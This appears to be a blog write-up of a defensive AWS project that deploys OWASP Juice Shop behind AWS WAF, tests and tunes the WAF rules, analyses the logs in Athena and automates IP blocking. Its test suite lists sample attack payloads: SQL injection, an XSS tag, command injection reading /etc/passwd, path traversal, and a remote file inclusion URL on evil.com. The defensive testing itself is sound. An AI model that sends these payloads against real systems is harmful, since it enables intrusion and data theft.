September 5, 2025

Implementing and Securing OWASP Juice Shop with AWS WAF

AWS security engineering project implementing OWASP Juice Shop on ECS Fargate with AWS WAF protection, Terraform IaC, real-time Athena analytics, CI/CD security pipeline, and emergency response

This project demonstrates AWS security engineering by implementing and tuning OWASP Juice Shop with WAF protection: deploying, testing, and refining security controls with Infrastructure as Code, automated testing, real-time analytics, and emergency response.

Objectives:

  • Deploy security infrastructure using Infrastructure as Code
  • Implement WAF protection with AWS WAF v2 and managed rule sets
  • Build real-time security analytics
  • Create automated CI/CD security pipeline with guardrails and compliance scanning
  • Develop emergency response capabilities with sub-30-second threat mitigation

Tools

  • AWS ECS Fargate - Container orchestration and hosting
  • AWS Application Load Balancer - Traffic distribution and SSL termination
  • AWS WAF v2 - Web application firewall and edge protection
  • Terraform - Infrastructure as Code
  • Amazon Kinesis Data Firehose - Real-time streaming to S3
  • Amazon Athena - Serverless SQL analytics for WAF logs
  • Amazon S3 - Log storage and data lake
  • Amazon CloudWatch - Monitoring and dashboards
  • GitHub Actions - CI/CD automation
  • tfsec - Static security analysis for Terraform
  • Checkov - Infrastructure security scanning

Phase 1: Infrastructure Deployment

Step 1: Terraform Infrastructure Setup

The deployment builds a multi-layered architecture using Infrastructure as Code, creating scalable, secure, and maintainable infrastructure components.

git clone https://github.com/ToluGIT/aws-waf-takeithome.git
cd aws-waf-takeithome
terraform init
terraform plan -var-file="terraform.tfvars" 
terraform apply -var-file="terraform.tfvars"

Review terraform.tfvars for parameters like allowed_cidr_blocks, which you can modify to fit your requirements.

Terraform Apply Success

Step 2: WAF Module Implementation

The WAF implementation uses a modular design, with reusable components for security rules and configurations:

# terraform/modules/edge_waf/main.tf
resource "aws_wafv2_web_acl" "main" {
  name  = var.waf_name
  scope = "CLOUDFRONT"

  default_action {
    allow {}
  }

  # AWS Managed Rules - Common Rule Set
  rule {
    name     = "AWSManagedRulesCommonRuleSet"
    priority = 1
    
    override_action {
      none {}
    }

    statement {
      managed_rule_group_statement {
        name        = "AWSManagedRulesCommonRuleSet"
        vendor_name = "AWS"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "CommonRuleSetMetric"
      sampled_requests_enabled   = true
    }
  }

Important: For ALB/ECS, set WAF scope = REGIONAL in the same region. For CloudFront, use scope = CLOUDFRONT and manage it in us-east-1.

Step 3: ECS Infrastructure Verification

The ECS service deployment confirms multi-AZ distribution, healthy task status, and load balancer connectivity:

ECS Cluster Overview ECS Service Details ECS Task Configuration

Step 4: Application Verification and Baseline Testing

This confirms deployment and establishes a baseline before security testing:

Application Verification

Phase 2: Security Testing and Analysis

Step 1: Security Testing Framework Development

The testing combines positive tests (legitimate traffic) with negative tests (attack vectors).

Positive Cases (Expected to Pass):

  • basic_homepage: GET /
  • products_page: GET /#/products
  • login_page: GET /#/login
  • legitimate_search: GET /rest/products/search?q=apple

Negative Cases (Expected to Block):

  • juice_shop_sqli: GET /rest/products/search?q=’ OR 1=1—
  • classic_sqli_union: GET /rest/products/search?q=apple’ UNION SELECT * FROM users—
  • xss_script_tag: GET /rest/products/search?q=
  • path_traversal: GET /../../etc/passwd

Step 2: Initial Security Assessment

Manual testing of path traversal shows the WAF blocking it:

Path Traversal Test Result

Step 3: Automated Testing Execution

Run the automated testing framework:

# Install Python dependencies
pip3 install -r requirements.txt

python3 scripts/smoke_test.py --url $(terraform output -raw juice_shop_url)

The testing framework:

import requests
import json
from datetime import datetime

class SecurityTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.results = {"positive": [], "negative": []}
    
    def test_positive_cases(self):
        """traffic that should be allowed"""
        positive_tests = [
            {"name": "Homepage Access", "method": "GET", "path": "/"},
            {"name": "Product Listing", "method": "GET", "path": "/rest/products"},
            {"name": "User Login", "method": "POST", "path": "/rest/user/login", 
             "data": {"email": "test@test.com", "password": "test123"}},
            {"name": "Product Search", "method": "GET", "path": "/rest/products/search?q=apple"}
        ]

    def test_negative_cases(self):
        """attacks that should be blocked"""
        attack_tests = [
            {"name": "SQL Injection - Classic", "payload": "' OR 1=1--"},
            {"name": "SQL Injection - Juice Shop", "payload": "')) OR true--"},
            {"name": "XSS - Script Tag", "payload": "<script>alert('xss')</script>"},
            {"name": "Command Injection", "payload": "; cat /etc/passwd"},
            {"name": "Path Traversal", "payload": "../../../../../etc/passwd"},
            {"name": "Remote File Inclusion", "payload": "http://evil.com/shell.php"}
        ]

Step 4: Initial Results Analysis

Initial testing revealed gaps, at 50% effectiveness:

Initial Test Results

Positive Tests: 4/4 passed (All legitimate traffic allowed)
Negative Tests: 3/10 passed (Only 3 attacks blocked)

GAPS IDENTIFIED:
Path traversal attacks: NOT BLOCKED
Command injection: NOT BLOCKED  
Large headers: NOT BLOCKED

Step 5: WAF Configuration Optimization

Root cause: managed rules apply their vendor action unless overridden. Start new rules in Count mode for safe tuning, then switch to Block:

# terraform/modules/edge_waf/main.tf - Remove rule overrides
resource "aws_wafv2_web_acl" "main" {
  # ... existing configuration ...

  rule {
    name     = "AWSManagedRulesSQLiRuleSet"
    priority = 2
    
    # override_action { none {} } means "no override" - let managed rules apply their vendor action
    override_action {
      none {}
    }

    statement {
      managed_rule_group_statement {
        name        = "AWSManagedRulesSQLiRuleSet"
        vendor_name = "AWS"
      }
    }
  }
}

WAF Rule Configuration WAF Rule Details

Step 6: Security Effectiveness Validation

After tuning, the test suite was 100% blocked:

Final Test Results

That gap shows why configuration validation matters when measuring security effectiveness.

Phase 3: Security Analytics Pipeline

Step 1: Athena Database Configuration

Navigate to Amazon Athena and launch the query editor:

CREATE DATABASE IF NOT EXISTS waf_analytics;

Athena Database Creation

Step 2: Query Results Location Setup

Set the query results location to the existing WAF logs bucket:

s3://juice-shop-waf-logs-xxxxxx/athena-results/

Athena Query Results Location

Step 3: External Table Creation

Create the Athena external table for WAF log analysis. Modify create_table.sql with the correct S3 bucket location:

-- athena/queries/create_table.sql
LOCATION 's3://juice-shop-waf-logs-2od5y8gt/'

'storage.location.template'='s3://juice-shop-waf-logs-2od5y8gt/year=${year}/month=${month}/day=${day}/hour=${hour}/'

Retrieve the bucket name with:

terraform output s3_waf_logs_bucket

Athena Table Creation

Step 4: Security KPI Analysis

Run the KPI metrics queries to generate security analytics:

KPI Metrics Query Results

The simple_kpi_metrics_single.sql query returns CORE_METRICS and TOP_ATTACK_VECTORS views for the last 24 hours.

Step 5: Real-Time Monitoring Implementation

Configure CloudWatch dashboard and WAF console monitoring:

CloudWatch WAF Dashboard:

  • Navigate: CloudWatch → Dashboards → select the WAF dashboard
  • Terraform provisions the dashboard as juice-shop-waf-dashboard
  • Panels: Allowed vs Blocked requests, BlockedRequests by rule

CloudWatch WAF Dashboard

WAF Console Monitoring:

  • Navigate: WAF → Web ACLs → juice-shop-web-acl → Traffic Overview

WAF Console Traffic Overview

Note: WAF logs reach S3 via a Firehose buffer (about 5 minutes or 5 MB), so expect a short delay before data appears in Athena.

Phase 4: CI/CD Security Pipeline

Step 1: GitHub Actions Workflow Implementation

The PR-based GitHub Actions pipeline (.github/workflows/edge-ci.yml) enforces security guardrails and produces deployable plans with approval gates.

Workflow Components:

  • Change Detection: Runs only when Terraform, scripts, or workflow files change
  • Security Scans: tfsec and Checkov scan the terraform/ directory and upload SARIF results
  • Terraform Planning: Initializes Terraform, runs terraform plan, and posts a summary to PR comments
  • Cost Analysis: Infracost calculates cost deltas (soft-fail for demonstration)
  • Manual Approval Gate: Environment production-approval requires approval before apply
  • Gated Apply: Runs terraform apply -auto-approve after approval

It also integrates:

  • tfsec: Terraform static analysis with SARIF output
  • Checkov: Infrastructure scanning with policy enforcement
  • GitHub Security Tab: Automated findings integration

GitHub Actions Pipeline 1 GitHub Actions Pipeline 2 GitHub Actions Pipeline 3 GitHub Actions Pipeline 4 GitHub Actions Pipeline 5

Phase 5: Emergency Response with Sub-30 Second Threat Mitigation

Step 1: Emergency Blocking Script Development

scripts/push_block.py enables rapid threat mitigation by deploying WAF rules programmatically:

# scripts/push_block.py - Emergency response automation
import boto3
import json
import sys
import ipaddress
from datetime import datetime, timezone

class EmergencyWAFBlocker:
    def __init__(self, web_acl_name, web_acl_id, scope='CLOUDFRONT'):
        self.waf_client = boto3.client('wafv2')
        self.web_acl_name = web_acl_name
        self.web_acl_id = web_acl_id
        self.scope = scope
        
    def validate_ip(self, ip_input):
        """Validate IP address or CIDR range"""
        try:
            # Handle both single IPs and CIDR ranges
            ipaddress.ip_network(ip_input, strict=False)
            return True
        except ValueError:
            return False
    
    def get_web_acl_lock_token(self):
        """Get current lock token for WAF updates"""
        try:
            response = self.waf_client.get_web_acl(
                Name=self.web_acl_name,
                Scope=self.scope,
                Id=self.web_acl_id
            )
            return response['LockToken'], response['WebACL']
        except Exception as e:
            raise Exception(f"Failed to get WAF lock token: {str(e)}")
    
    def create_ip_block_rule(self, ip_address, rule_name=None, dry_run=True):
        """Create IP blocking rule"""
        
        # Validate IP address
        if not self.validate_ip(ip_address):
            raise ValueError(f"Invalid IP address or CIDR: {ip_address}")
        
        # Generate rule name if not provided
        if not rule_name:
            timestamp = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
            clean_ip = ip_address.replace('.', '_').replace('/', '_')
            rule_name = f"EmergencyBlock_IP_{clean_ip}_{timestamp}"
        
        # Prepare the new rule
        new_rule = {
            'Name': rule_name,
            'Priority': 10,  # High priority for emergency rules
            'Statement': {
                'IPSetReferenceStatement': {
                    'ARN': f'arn:aws:wafv2:us-east-1:{boto3.client("sts").get_caller_identity()["Account"]}:global/ipset/{rule_name}_ipset/{rule_name}'
                }
            },
            'Action': {
                'Block': {}
            },
            'VisibilityConfig': {
                'SampledRequestsEnabled': True,
                'CloudWatchMetricsEnabled': True,
                'MetricName': rule_name
            }
        }

Step 2: Emergency Response Testing and Validation

Test the emergency blocking capabilities:

# Test IP blocking (dry-run mode)
python scripts/push_block.py --ip 192.168.1.100/32 --web-acl-id $(terraform output waf_web_acl_arn) --dry-run

# Test CIDR range blocking (dry-run mode)  
python scripts/push_block.py --ip 10.0.0.0/24 --web-acl-id $(terraform output waf_web_acl_arn) --dry-run

# Test URI pattern blocking (dry-run mode)
python scripts/push_block.py --uri "/admin/*" $(terraform output waf_web_acl_arn) --dry-run

Step 3: IP Address Verification and Testing

Verify your current IP address:

curl https://checkip.amazonaws.com

IP Address Verification

Step 4: Dry Run Emergency Blocking

Run a dry run test to validate blocking:

python scripts/push_block.py --ip x.x.x.x/32 --web-acl-id $(terraform output waf_web_acl_arn) --dry-run

Emergency Block Dry Run

Step 5: Production Emergency Blocking Execution

Run it live, without the dry-run flag:

python scripts/push_block.py --ip x.x.x.x/32 --web-acl-id $(terraform output waf_web_acl_arn)

Results show sub-30-second response times:

Emergency Block Execution Emergency Block Response Time

Step 6: Verification of Rule Enforcement

Confirm rule enforcement in the AWS WAF Console:

WAF Console Rule Enforcement

Verify blocking effectiveness by trying to access the app:

Site Blocked 403 Error

Conclusion

Summary of Achievements

This project shows measurable results from building and tuning security infrastructure.

Infrastructure Automation: Full deployment via Infrastructure as Code, with modular, reusable components that adapt across applications.

Evidence-Based Optimization: Improvement from 50% to 100% effectiveness through iterative testing and rule refinement based on real attack patterns, not theoretical threats.

Operational Resilience: Emergency response with sub-30-second deployment times, safety controls, and audit logging for rapid threat mitigation without operational risk.

Lessons Learned

Configuration Validation is Critical: The gap between 50% and 100% effectiveness came down to one parameter. Managed rules apply their vendor action unless you override it, so correct configuration is what guarantees expected blocking.

Measurement Enables Optimization: Quantifiable metrics are the foundation for systematic, evidence-based improvement.

Automation Reduces Risk: Emergency response automation removes manual steps during incidents, cutting response time from minutes to seconds while keeping safety controls in place.

Back to blog